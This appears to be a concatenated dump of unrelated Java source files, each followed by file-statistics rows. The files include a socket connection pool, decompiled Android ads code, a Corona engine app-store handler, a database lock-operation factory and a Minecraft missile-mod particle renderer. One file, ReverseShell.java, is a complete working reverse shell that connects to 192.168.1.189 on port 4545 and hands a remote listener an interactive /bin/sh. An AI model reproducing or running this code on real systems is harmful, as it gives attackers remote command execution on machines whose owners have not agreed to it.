THIS SOFTWARE IS PROVIDED BY SHANGHAI YUEWEN INFORMATION TECHNOLOGY CO., LTD.
AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
Copyright (c) 2016 著作权由上海阅文信息技术有限公司所有。著作权人保留一切权利。
这份授权条款,在使用者符合以下三条件的情形下,授予使用者使用及再散播本软件包装原始码及二进位可执行形式的权利,无论此包装是否经改作皆然:
* 对于本软件源代码的再散播,必须保留上述的版权宣告、此三条件表列,以及下述的免责声明。
* 对于本套件二进位可执行形式的再散播,必须连带以文件以及/或者其他附于散播包装中的媒介方式,重制上述之版权宣告、此三条件表列,以及下述的免责声明。
* 未获事前取得书面许可,不得使用柏克莱加州大学或本软件贡献者之名称,来为本软件之衍生物做任何表示支持、认可或推广、促销之行为。
免责声明:本软件是由上海阅文信息技术有限公司及本软件之贡献者以现状提供,本软件包装不负任何明示或默示之担保责任,
包括但不限于就适售性以及特定目的的适用性为默示性担保。加州大学董事会及本软件之贡献者,无论任何条件、无论成因或任何责任主义、
无论此责任为因合约关系、无过失责任主义或因非违约之侵权(包括过失或其他原因等)而起,对于任何因使用本软件包装所产生的任何直接性、间接性、
偶发性、特殊性、惩罚性或任何结果的损害(包括但不限于替代商品或劳务之购用、使用损失、资料损失、利益损失、业务中断等等),
不负任何责任,即在该种使用已获事前告知可能会造成此类损害的情形下亦然。
*/
package org.albianj.unid.impl.service.pooling;
import org.albianj.logger.IAlbianLoggerService;
import org.albianj.service.AlbianServiceException;
import org.albianj.service.AlbianServiceRouter;
import org.albianj.unid.service.IAlbianRemoteUNIDAttribute;
import org.apache.commons.pool.PoolableObjectFactory;
import java.net.InetSocketAddress;
import java.net.Socket;
public class AlbianUNIDSocketConnectPoolFactory implements
PoolableObjectFactory<Socket> {
private IAlbianRemoteUNIDAttribute attr = null;
public AlbianUNIDSocketConnectPoolFactory(IAlbianRemoteUNIDAttribute attr) {
this.attr = attr;
}
public AlbianUNIDSocketConnectPoolFactory() {
}
@Override
public Socket makeObject() throws Exception {
// TODO Auto-generated method stub
try {
Socket client = null;
client = new Socket(attr.getHost(), attr.getPort());
client.setSoTimeout(attr.getTimeout());
return client;
} catch (Exception e) {
AlbianServiceRouter.getLogger().errorAndThrow(IAlbianLoggerService.AlbianRunningLoggerName, AlbianServiceException.class, e,
"IdSrvice is error.", "create remote id client to server:%s:%d is error",
attr.getHost(), attr.getPort());
}
return null;
}
@Override
public void destroyObject(Socket obj) throws Exception {
try {
if (null == obj)
return;
if (null != obj.getInputStream())
obj.getInputStream().close();
if (null != obj.getOutputStream())
obj.getOutputStream().close();
if (obj.isConnected() || !obj.isClosed())
obj.close();
} catch (Exception e) {
AlbianServiceRouter.getLogger().errorAndThrow(IAlbianLoggerService.AlbianRunningLoggerName, AlbianServiceException.class, e,
"IdService is error.", "destory remote id client to server:%s:%d is error",
attr.getHost(), attr.getPort());
}
return;
}
@Override
public boolean validateObject(Socket obj) {
// TODO Auto-generated method stub
return true;
}
@Override
public void activateObject(Socket obj) throws Exception {
// TODO Auto-generated method stub
try {
if (obj.isClosed() || !obj.isConnected())
obj.connect(
new InetSocketAddress(attr.getHost(), attr.getPort()),
attr.getTimeout());
} catch (Exception e) {
AlbianServiceRouter.getLogger().errorAndThrow(IAlbianLoggerService.AlbianRunningLoggerName, AlbianServiceException.class, e,
"IdService is error.", "activate remote id client to server:%s:%d is error",
attr.getHost(), attr.getPort());
}
}
@Override
public void passivateObject(Socket obj) throws Exception {
// TODO Auto-generated method stub
try {
if (null == obj)
return;
if (null != obj.getInputStream())
obj.getInputStream().close();
if (null != obj.getOutputStream())
obj.getOutputStream().close();
if (obj.isConnected() || !obj.isClosed())
obj.close();
} catch (Exception e) {
AlbianServiceRouter.getLogger().errorAndThrow(IAlbianLoggerService.AlbianRunningLoggerName, AlbianServiceException.class, e,
"IdService is error.", "passivate remote id client to server:%s:%d is error",
attr.getHost(), attr.getPort());
}
return;
}
}
| 42.221429 | 136 | 0.686178 |
02dd55a89b9ad039582479170691e780dc01987a | 2,134 | // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) annotate safe
package com.google.android.gms.internal.ads;
import java.util.Iterator;
// Referenced classes of package com.google.android.gms.internal.ads:
// asx, asz
final class ata
implements Iterator
{
public ata(Iterator iterator)
{
// 0 0:aload_0
// 1 1:invokespecial #13 <Method void Object()>
a = iterator;
// 2 4:aload_0
// 3 5:aload_1
// 4 6:putfield #15 <Field Iterator a>
// 5 9:return
}
public final boolean hasNext()
{
return a.hasNext();
// 0 0:aload_0
// 1 1:getfield #15 <Field Iterator a>
// 2 4:invokeinterface #20 <Method boolean Iterator.hasNext()>
// 3 9:ireturn
}
public final Object next()
{
java.util.Map.Entry entry = (java.util.Map.Entry)a.next();
// 0 0:aload_0
// 1 1:getfield #15 <Field Iterator a>
// 2 4:invokeinterface #24 <Method Object Iterator.next()>
// 3 9:checkcast #26 <Class java.util.Map$Entry>
// 4 12:astore_1
if(entry.getValue() instanceof asx)
//* 5 13:aload_1
//* 6 14:invokeinterface #29 <Method Object java.util.Map$Entry.getValue()>
//* 7 19:instanceof #31 <Class asx>
//* 8 22:ifeq 35
return ((Object) (new asz(entry, ((asy) (null)))));
// 9 25:new #33 <Class asz>
// 10 28:dup
// 11 29:aload_1
// 12 30:aconst_null
// 13 31:invokespecial #36 <Method void asz(java.util.Map$Entry, asy)>
// 14 34:areturn
else
return ((Object) (entry));
// 15 35:aload_1
// 16 36:areturn
}
public final void remove()
{
a.remove();
// 0 0:aload_0
// 1 1:getfield #15 <Field Iterator a>
// 2 4:invokeinterface #39 <Method void Iterator.remove()>
// 3 9:return
}
private Iterator a;
}
| 29.232877 | 81 | 0.542643 |
482f5de3bd038916d7bec472eaa10da425d2c9df | 4,221 | //////////////////////////////////////////////////////////////////////////////
//
// This file is part of the Corona game engine.
// For overview and more information on licensing please refer to README.md
// Home page: https://github.com/coronalabs/corona
// Contact: support@coronalabs.com
//
//////////////////////////////////////////////////////////////////////////////
package com.ansca.corona;
import android.app.Activity;
/** The interface has all the funcations that are activity specific and aren't implemented by default. */
class CoronaShowApiHandler implements com.ansca.corona.listeners.CoronaShowApiListener{
private CoronaActivity fActivity;
private CoronaRuntime fCoronaRuntime;
public CoronaShowApiHandler(CoronaActivity activity, CoronaRuntime runtime) {
fActivity = activity;
fCoronaRuntime = runtime;
}
@Override
public void showSendMailWindowUsing(MailSettings mailSettings) {
if (fActivity == null) {
return;
}
fActivity.showSendMailWindowUsing(mailSettings);
}
@Override
public void showSendSmsWindowUsing(SmsSettings smsSettings) {
if (fActivity == null) {
return;
}
fActivity.showSendSmsWindowUsing(smsSettings);
}
@Override
public boolean showAppStoreWindow(java.util.HashMap<String, Object> settings) {
// Keep a local reference to it in case it is nulled out on another thread.
CoronaActivity activity = fActivity;
if (activity == null) {
return false;
}
// Fetch the store this app is targeting.
String storeName = com.ansca.corona.purchasing.StoreServices.getTargetedAppStoreName();
// If this app is not targeting an app store (which is common for Corona Enterprise builds),
// then attempt to determine which store this app was purchased and installed from.
// Note: This check will return store name "none" if the app was installed by hand.
if (storeName.equals(com.ansca.corona.purchasing.StoreName.NONE)) {
storeName = com.ansca.corona.purchasing.StoreServices.getStoreApplicationWasPurchasedFrom();
}
// If the targeted app store is still not known, then just pick one.
if (storeName.equals(com.ansca.corona.purchasing.StoreName.NONE)) {
if (settings != null) {
String[] availableStores = com.ansca.corona.purchasing.StoreServices.getAvailableAppStoreNames();
Object collection = settings.get("supportedAndroidStores");
if ((availableStores != null) && (collection instanceof java.util.HashMap<?,?>)) {
for (Object nextObject : ((java.util.HashMap<Object, Object>)collection).values()) {
if (nextObject instanceof String) {
String supportedStoreName = (String)nextObject;
if (java.util.Arrays.binarySearch(availableStores, supportedStoreName) >= 0) {
storeName = supportedStoreName;
break;
}
}
}
}
}
}
// Fetch the application's package name.
String packageName = null;
if (settings != null) {
// Get the package name from settings, if provided.
// This comes in handy if the app wants to advertise other apps in the app store.
Object value = settings.get("androidAppPackageName");
if (value instanceof String) {
packageName = ((String)value).trim();
}
}
if ((packageName == null) || (packageName.length() <= 0)) {
// Package name was not provided in settings. Use this application's package name by default.
packageName = activity.getPackageName();
}
// Display the requested window.
if (storeName.equals(com.ansca.corona.purchasing.StoreName.GOOGLE)) {
return fCoronaRuntime.getController().openUrl("market://details?id=" + packageName);
}
else if (storeName.equals(com.ansca.corona.purchasing.StoreName.AMAZON)) {
return fCoronaRuntime.getController().openUrl("http://www.amazon.com/gp/mas/dl/android?p=" + packageName);
}
else if (storeName.equals(com.ansca.corona.purchasing.StoreName.SAMSUNG)) {
return fCoronaRuntime.getController().openUrl("samsungapps://ProductDetail/" + packageName);
}
return false;
}
@Override
public void showRequestPermissionsWindowUsing(com.ansca.corona.permissions.PermissionsSettings permissionsSettings) {
if (fActivity == null) {
return;
}
fActivity.showRequestPermissionsWindowUsing(permissionsSettings);
}
}
| 37.026316 | 118 | 0.706941 |
6ae5d31b0dd2dbd58eab6180b93e2f7aaf7b3fca | 5,945 | package ru.kwanza.dbtool.orm.impl.lockoperation;
/*
* #%L
* dbtool-orm
* %%
* Copyright (C) 2015 Kwanza
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
* #L%
*/
import ru.kwanza.dbtool.core.DBTool;
import ru.kwanza.dbtool.core.VersionGenerator;
import ru.kwanza.dbtool.orm.api.LockType;
import ru.kwanza.dbtool.orm.impl.EntityManagerImpl;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.h2.H2NoWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.h2.H2SkipLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.h2.H2WaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.mssql.MSSQLNoWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.mssql.MSSQLSkipLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.mssql.MSSQLWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.mysql.MySQLNoWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.mysql.MySQLSkipLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.mysql.MySQLWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.oracle.OracleNoWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.oracle.OracleSkipLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.oracle.OracleWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.posgresql.PostgreSQLNoWaitLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.posgresql.PostgreSQLSkipLockOperation;
import ru.kwanza.dbtool.orm.impl.lockoperation.db.posgresql.PostgreSQLWaitLockOperation;
import javax.annotation.Resource;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import static ru.kwanza.dbtool.core.DBTool.DBType.*;
import static ru.kwanza.dbtool.orm.api.LockType.*;
/**
* @author Alexander Guzanov
*/
public class LockOperationFactory {
@Resource(name = "dbtool.IEntityManager")
private EntityManagerImpl em;
@Resource(name = "dbtool.DBTool")
private DBTool dbTool;
@Resource(name = "dbtool.VersionGenerator")
private VersionGenerator versionGenerator;
private ConcurrentMap<EntryKey, ILockOperation> cache = new ConcurrentHashMap<EntryKey, ILockOperation>();
private static class EntryKey {
private Class entityClass;
private LockType type;
private EntryKey(Class entityClass, LockType type) {
this.entityClass = entityClass;
this.type = type;
}
public Class getEntityClass() {
return entityClass;
}
public LockType getType() {
return type;
}
}
public <T> ILockOperation<T> createOperation(LockType type, Class<T> entityClass) {
EntryKey key = new EntryKey(entityClass, type);
ILockOperation result = cache.get(key);
if (result == null) {
if (type == INC_VERSION) {
result = new IncVersionLockOperation(em, versionGenerator, entityClass);
} else if (dbTool.getDbType() == ORACLE) {
if (type == WAIT) {
result = new OracleWaitLockOperation<T>(em, entityClass);
} else if (type == NOWAIT) {
result = new OracleNoWaitLockOperation(em, entityClass);
} else if (type == SKIP_LOCKED) {
result = new OracleSkipLockOperation<T>(em, entityClass);
}
} else if (dbTool.getDbType() == MSSQL) {
if (type == WAIT) {
result = new MSSQLWaitLockOperation<T>(em, entityClass);
} else if (type == NOWAIT) {
result = new MSSQLNoWaitLockOperation<T>(em, entityClass);
} else if (type == SKIP_LOCKED) {
result = new MSSQLSkipLockOperation<T>(em, entityClass);
}
} else if (dbTool.getDbType() == MYSQL) {
if (type == WAIT) {
result = new MySQLWaitLockOperation<T>(em, entityClass);
} else if (type == NOWAIT) {
result = new MySQLNoWaitLockOperation<T>(em, entityClass);
} else if (type == SKIP_LOCKED) {
result = new MySQLSkipLockOperation<T>(em, entityClass);
}
} else if (dbTool.getDbType() == POSTGRESQL) {
if (type == WAIT) {
result = new PostgreSQLWaitLockOperation<T>(em, entityClass);
} else if (type == NOWAIT) {
result = new PostgreSQLNoWaitLockOperation<T>(em, entityClass);
} else if (type == SKIP_LOCKED) {
result = new PostgreSQLSkipLockOperation<T>(em, entityClass);
}
} else if (dbTool.getDbType() == H2) {
if (type == WAIT) {
result = new H2WaitLockOperation<T>(em, entityClass);
} else if (type == NOWAIT) {
result = new H2NoWaitLockOperation<T>(em, entityClass);
} else if (type == SKIP_LOCKED) {
result = new H2SkipLockOperation<T>(em, entityClass);
}
} else {
throw new UnsupportedOperationException("Lock operation is not supported for database " + dbTool.getDbType());
}
cache.putIfAbsent(key, result);
}
return result;
}
}
| 42.769784 | 126 | 0.645753 |
b4a98c3c66c48608557929186648c66f3bf39c1b | 587 | package com.itgowo.gamestzb.Entity;
import java.util.List;
public class GuessEntity {
/**
* id : 100575
* option : [{"contory":"吴","name":"全琮"},{"contory":"魏","name":"典韦"},{"contory":"汉","name":"陶谦"},{"contory":"汉","name":"黄祖"}]
*/
private int id;
private List<HeroEntity> option;
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public List<HeroEntity> getOption() {
return option;
}
public void setOption(List<HeroEntity> option) {
this.option = option;
}
}
| 19.566667 | 129 | 0.553663 |
c7739517cb61098563eeaa83d3090cac82b6183f | 277 | package util;
/**
* Created by Aster on 2017/10/21.
*/
public enum UserLimits {
STAFF("普通员工"),
MANAGER("经理");
String value;
UserLimits(String value){
this.value = value;
}
public String getValue(){
return value;
}
}
| 13.85 | 35 | 0.541516 |
635070bf7bf28cb3f7957b8fccb386582ea37c60 | 725 | package cn.zhuhongqing.exception.i18n;
import cn.zhuhongqing.i18n.I18nResource;
/**
* 常规异常的异常类型
*
* @author zhq mail:qwepoidjdj(a)hotmail.com
* @serial 1.7
* @version $Id$
*
*/
public enum GeneralExceptionType implements ExceptionType {
/**
* Unsupported type 不支持的类型
*/
DEBUG1000("DEBUG1000"),
/**
* Parameter can not be null 参数不能为空
*/
DEBUG1001("DEBUG1001"),
/**
* not found 找不到
*/
DEBUG1002("DEBUG1002");
private String messageKey;
GeneralExceptionType(String messageKey) {
this.messageKey = messageKey;
}
@Override
public I18nResource getExceptionResource() {
return ExceptionResource.getI18nResource();
}
@Override
public String getMessageKey() {
return messageKey;
}
}
| 15.76087 | 59 | 0.703448 |
f1b71a1269d99c548fe438ffada72e8b970d235c | 650 | package br.com.lenonsec.minefield.views;
import br.com.lenonsec.minefield.models.GameBoard;
import javax.swing.JFrame;
public class MainView extends JFrame {
public MainView() {
// TODO Ask for game difficulty
GameBoard gameBoard = new GameBoard(16, 30, 50);
add(new GameBoardPanel(gameBoard));
setTitle("Minefield");
// TODO Set the size of the game according to difficulty
setSize(690, 428);
setLocationRelativeTo(null);
setDefaultCloseOperation(DISPOSE_ON_CLOSE);
setVisible(true);
}
public static void main(String[] args) {
new MainView();
}
}
| 25 | 64 | 0.658462 |
b36c9329622f5298d7d5f2d6413e5b4cd08278fb | 390 | package constructor;
class Sample {
private int value;
//constructor
Sample() {
value = 10;
}
//constructor overloading
Sample(int n) {
value = n;
}
public void print() {
System.out.println(value);
}
}
public class Main {
public static void main(String[] args) {
Sample s = new Sample();
s.print();
Sample s1 = new Sample(100);
s1.print();
}
}
| 10.833333 | 41 | 0.605128 |
b1bd958cdab7c74f50887d119fdb3494e6225afe | 1,818 | import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class ReverseShell {
public static void main(String[] args) {
try {
String host = "192.168.1.189";
int port = 4545;
String command = "/bin/sh";
Process proccess = new ProcessBuilder(command).redirectErrorStream(true).start();
Socket socket = new Socket(host, port);
InputStream proccessInputStream = proccess.getInputStream();
InputStream proccessErrorStream = proccess.getErrorStream();
InputStream socketInputStream = socket.getInputStream();
OutputStream proccessOutputStream = proccess.getOutputStream();
OutputStream socketOutputStream = socket.getOutputStream();
while(!socket.isClosed()) {
while(proccessInputStream.available() > 0)
socketOutputStream.write(proccessInputStream.read());
while(proccessErrorStream.available() > 0)
socketOutputStream.write(proccessErrorStream.read());
while(socketInputStream.available() > 0)
proccessOutputStream.write(socketInputStream.read());
socketOutputStream.flush();
proccessOutputStream.flush();
Thread.sleep(50);
try {
proccess.exitValue();
break;
} catch (Exception e) {}
};
proccess.destroy();
socket.close();
} catch (Exception e) {}
}
}
| 34.301887 | 94 | 0.520902 |
cf0d5c6ee8b85f735e1b25fabbca303c854d28a4 | 7,302 | package icbm.classic.client;
import com.builtbroken.jlib.data.vector.IPos3D;
import icbm.classic.CommonProxy;
import icbm.classic.client.fx.ParticleAirICBM;
import icbm.classic.client.fx.ParticleSmokeICBM;
import icbm.classic.content.entity.missile.EntityMissile;
import icbm.classic.content.entity.missile.MissileFlightType;
import icbm.classic.lib.transform.vector.Pos;
import net.minecraft.client.Minecraft;
import net.minecraft.util.math.BlockPos;
import net.minecraft.world.World;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.fml.relauncher.SideOnly;
@SideOnly(Side.CLIENT)
public class ClientProxy extends CommonProxy
{
@Override
public void spawnSmoke(World world, Pos position, double v, double v1, double v2, float red, float green, float blue, float scale, int ticksToLive)
{
if (world != null)
{
ParticleSmokeICBM particleSmokeICBM = new ParticleSmokeICBM(world, position, v, v1, v2, scale);
particleSmokeICBM.setColor(red, green, blue, true);
particleSmokeICBM.setAge(ticksToLive);
Minecraft.getMinecraft().effectRenderer.addEffect(particleSmokeICBM);
}
}
@Override
public void spawnAirParticle(World world, Pos position, double v, double v1, double v2, float red, float green, float blue, float scale, int ticksToLive)
{
if (world != null)
{
ParticleAirICBM particleAirParticleICBM = new ParticleAirICBM(world, position, v, v1, v2, scale);
particleAirParticleICBM.setColor(red, green, blue, true);
particleAirParticleICBM.setAge(ticksToLive);
Minecraft.getMinecraft().effectRenderer.addEffect(particleAirParticleICBM);
}
}
@Override
public void spawnMissileSmoke(EntityMissile missile)
{
if (missile.world.isRemote)
{
if (missile.missileType == MissileFlightType.PAD_LAUNCHER)
{
if (missile.motionY > -1)
{
if (missile.world.isRemote && missile.motionY > -1)
{
if (missile.launcherHasAirBelow == -1)
{
BlockPos bp = new BlockPos(Math.signum(missile.posX) * Math.floor(Math.abs(missile.posX)), missile.posY - 2, Math.signum(missile.posZ) * Math.floor(Math.abs(missile.posZ)));
missile.launcherHasAirBelow = missile.world.isAirBlock(bp) ? 1 : 0;
}
Pos position = new Pos((IPos3D) missile);
// The distance of the smoke relative
// to the missile.
double distance = -1.2f;
// The delta Y of the smoke.
double y = Math.sin(Math.toRadians(missile.rotationPitch)) * distance;
// The horizontal distance of the
// smoke.
double dH = Math.cos(Math.toRadians(missile.rotationPitch)) * distance;
// The delta X and Z.
double x = Math.sin(Math.toRadians(missile.rotationYaw)) * dH;
double z = Math.cos(Math.toRadians(missile.rotationYaw)) * dH;
position = position.add(x, y, z);
if (missile.preLaunchSmokeTimer > 0 && missile.ticksInAir <= missile.getMaxPreLaunchSmokeTimer()) // pre-launch phase
{
Pos launcherSmokePosition = position.sub(0, 2, 0);
if (missile.launcherHasAirBelow == 1)
{
Pos velocity = new Pos(0, -1, 0).addRandom(missile.world.rand, 0.5);
for (int i = 0; i < 10; i++)
{
// smoke below the launcher
spawnAirParticle(missile.world, launcherSmokePosition, velocity.x(), velocity.y(), velocity.z(), 1, 1, 1, 8, 180);
launcherSmokePosition = launcherSmokePosition.multiply(1 - 0.025 * Math.random(), 1 - 0.025 * Math.random(), 1 - 0.025 * Math.random());
}
}
for (int i = 0; i < 5; i++)
{
Pos velocity = new Pos(0, 0.25, 0).addRandom(missile.world.rand, 0.125);
// smoke below the launcher
spawnAirParticle(missile.world, position, velocity.x(), velocity.y(), velocity.z(), 1, 1, 1, 5, 40);
}
}
else
{
missile.getLastSmokePos().add(position);
Pos lastPos = null;
if (missile.getLastSmokePos().size() > 5)
{
lastPos = missile.getLastSmokePos().get(0);
missile.getLastSmokePos().remove(0);
}
spawnAirParticle(missile.world, position, -missile.motionX * 0.75, -missile.motionY * 0.75, -missile.motionZ * 0.75, 1, 0.75f, 0, 5, 10);
if (missile.ticksInAir > 5 && lastPos != null)
{
for (int i = 0; i < 10; i++)
{
spawnAirParticle(missile.world, lastPos, -missile.motionX * 0.5, -missile.motionY * 0.5, -missile.motionZ * 0.5, 1, 1, 1, (int) Math.max(1d, 6d * (1 / (1 + missile.posY / 100))), 100);
position.multiply(1 - 0.025 * Math.random(), 1 - 0.025 * Math.random(), 1 - 0.025 * Math.random());
}
}
}
}
}
}
else
{
Pos position = new Pos((IPos3D) missile);
// The distance of the smoke relative
// to the missile.
double distance = -1.2f;
// The delta Y of the smoke.
double y = Math.sin(Math.toRadians(missile.rotationPitch)) * distance;
// The horizontal distance of the
// smoke.
double dH = Math.cos(Math.toRadians(missile.rotationPitch)) * distance;
// The delta X and Z.
double x = Math.sin(Math.toRadians(missile.rotationYaw)) * dH;
double z = Math.cos(Math.toRadians(missile.rotationYaw)) * dH;
position = position.add(x, y, z);
for (int i = 0; i < 10; i++)
{
spawnAirParticle(missile.world, position, -missile.motionX * 0.5, -missile.motionY * 0.5, -missile.motionZ * 0.5, 1, 1, 1, (int) Math.max(1d, 6d * (1 / (1 + missile.posY / 100))), 100);
position.multiply(1 - 0.025 * Math.random(), 1 - 0.025 * Math.random(), 1 - 0.025 * Math.random());
}
}
}
}
}
| 51.422535 | 220 | 0.499315 |
cee480b844f9c8ee07391cb5ce111306427c7d56 | 817 | package io.robbinespu.database.q01;
import io.robbinespu.datastructure.SurveyAnswers;
import java.util.Objects;
public class SurveyQuestion01Answers01 {
int id;
public SurveyAnswers surveyAnswers = new SurveyAnswers();
public SurveyQuestion01Answers01() {
this.surveyAnswers.setAnswers(new String[]{"30 - 34 years"});
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
SurveyQuestion01Answers01 that = (SurveyQuestion01Answers01) o;
return Objects.equals(surveyAnswers, that.surveyAnswers);
}
@Override
public int hashCode() {
int result = id ^ (id >>> 0);
result = 7 * result + surveyAnswers.hashCode();
return result;
}
}
| 26.354839 | 71 | 0.654835 |
9c848b0820b4ddfb66e6fd7e16aa618fe5999dd4 | 802 | // Copyright (c) FIRST and other WPILib contributors.
// Open Source Software; you can modify and/or share it under the terms of
// the WPILib BSD license file in the root directory of this project.
package frc.robot.subsystems;
import com.ctre.phoenix.motorcontrol.can.WPI_TalonFX;
import edu.wpi.first.wpilibj.XboxController;
import edu.wpi.first.wpilibj2.command.SubsystemBase;
import frc.robot.Constants;
public class Intake extends SubsystemBase {
WPI_TalonFX intake;
public Intake() {
intake = new WPI_TalonFX(Constants.INTAKE1);
}
@Override
public void periodic() {
}
public void intakeBall(XboxController controller, double speed)
{
intake.set(controller.getRawAxis(Constants.RIGHT_TRIGGER)*speed);
}
public void stop() {
intake.set(0);
}
}
| 23.588235 | 74 | 0.738155 |
6d9d62df99a24a24c822adfc2c2c88c009a297ee | 364 | package service;
import java.util.List;
import po.Page;
import po.ReplyCustom;
public interface ReplyService {
//添加回复
void addReply(ReplyCustom replyCustom);
//遍历commentId下的回复
List<ReplyCustom> queryReply(int commentId);
//删除回复
void deleteReplyById(int replyId);
// 根据useId查询回复列表
Page<ReplyCustom> queryReplyByUserId(Integer userId, int pageNo);
}
| 15.826087 | 66 | 0.771978 |
cfcd7b5cdcd8573b7ba76bba4ccf5fcc10d76704 | 1,816 | package io.nosqlbench.activitytype.cql.datamappers.functions.geometry;
import com.datastax.driver.dse.geometry.Point;
import io.nosqlbench.virtdata.api.annotations.Categories;
import io.nosqlbench.virtdata.api.annotations.Category;
import io.nosqlbench.virtdata.api.annotations.ThreadSafeMapper;
import java.util.function.LongFunction;
import java.util.function.LongToDoubleFunction;
import java.util.function.LongToIntFunction;
/**
* Create a com.datastax.driver.dse.geometry.Polygon
*/
@SuppressWarnings("ALL")
@ThreadSafeMapper
@Categories({Category.objects})
public class Polygon implements LongFunction<com.datastax.driver.dse.geometry.Polygon> {
private final LongFunction<Point> pointfunc;
private final LongToIntFunction lenfunc;
public Polygon(LongToIntFunction lenfunc, LongFunction<Point> pointfunc) {
this.pointfunc = pointfunc;
this.lenfunc = lenfunc;
}
public Polygon(LongToIntFunction lenfunc, LongToDoubleFunction xfunc, LongToDoubleFunction yfunc) {
this.lenfunc = lenfunc;
this.pointfunc=new io.nosqlbench.activitytype.cql.datamappers.functions.geometry.Point(xfunc,yfunc);
}
public Polygon(int len, LongFunction<Point> pointfunc) {
this.lenfunc = (i) -> len;
this.pointfunc = pointfunc;
}
@Override
public com.datastax.driver.dse.geometry.Polygon apply(long value) {
int linelen = Math.max(lenfunc.applyAsInt(value),3);
Point p0 = pointfunc.apply(value);
Point p1 = pointfunc.apply(value+1);
Point p2 = pointfunc.apply(value+2);
Point[] points = new Point[linelen-3];
for (int i = 3; i < linelen; i++) {
points[i-3]=pointfunc.apply(value+i);
}
return new com.datastax.driver.dse.geometry.Polygon(p0,p1,p2,points);
}
}
| 34.923077 | 108 | 0.720264 |
53dbca4c7d73656133a4f1a7f5ebb109834b40b8 | 1,036 | package com.bumptech.glide.load.engine.b;
import android.annotation.SuppressLint;
import com.bumptech.glide.h.e;
import com.bumptech.glide.load.b;
import com.bumptech.glide.load.engine.b.i.a;
import com.bumptech.glide.load.engine.j;
// compiled from: LruResourceCache.java
public final class h extends e<b, j<?>> implements i {
private a a;
protected final /* synthetic */ int a(Object obj) {
return ((j) obj).b();
}
public final /* synthetic */ j a(b bVar, j jVar) {
return (j) super.b(bVar, jVar);
}
public h(int i) {
super(i);
}
public final void a(a aVar) {
this.a = aVar;
}
@SuppressLint({"InlinedApi"})
public final void a(int i) {
if (i >= 60) {
b(0);
} else if (i >= 40) {
b(this.c / 2);
}
}
public final /* synthetic */ j a(b bVar) {
Object remove = this.b.remove(bVar);
if (remove != null) {
this.c -= a(remove);
}
return (j) remove;
}
}
| 22.521739 | 55 | 0.550193 |
4e74a8ec0c0d40af03dc3424fdf17b16d9d97e53 | 3,424 | package org.pmiops.workbench.cohortreview.util;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import org.pmiops.workbench.model.Filter;
import org.pmiops.workbench.model.SortOrder;
/** PageRequest */
public class PageRequest {
private Integer page;
private Integer pageSize;
private SortOrder sortOrder;
private String sortColumn;
private List<Filter> filters = new ArrayList<>();
public PageRequest page(Integer page) {
this.page = page;
return this;
}
/**
* the page
*
* @return page
*/
public Integer getPage() {
return page;
}
public void setPage(Integer page) {
this.page = page;
}
public PageRequest pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* the page size.
*
* @return pageSize
*/
public Integer getPageSize() {
return pageSize;
}
public void setPageSize(Integer pageSize) {
this.pageSize = pageSize;
}
public PageRequest sortOrder(SortOrder sortOrder) {
this.sortOrder = sortOrder;
return this;
}
/**
* Get sortOrder
*
* @return sortOrder
*/
public SortOrder getSortOrder() {
return sortOrder;
}
public void setSortOrder(SortOrder sortOrder) {
this.sortOrder = sortOrder;
}
public PageRequest sortColumn(String sortColumn) {
this.sortColumn = sortColumn;
return this;
}
/**
* sort column
*
* @return sortColumn
*/
public String getSortColumn() {
return sortColumn;
}
public void setSortColumn(String sortColumn) {
this.sortColumn = sortColumn;
}
public PageRequest filters(List<Filter> filters) {
this.filters = filters;
return this;
}
/**
* Get filters
*
* @return filters
*/
public List<Filter> getFilters() {
return filters;
}
public void setFilters(List<Filter> filters) {
this.filters = filters;
}
@Override
public boolean equals(java.lang.Object o) {
if (this == o) {
return true;
}
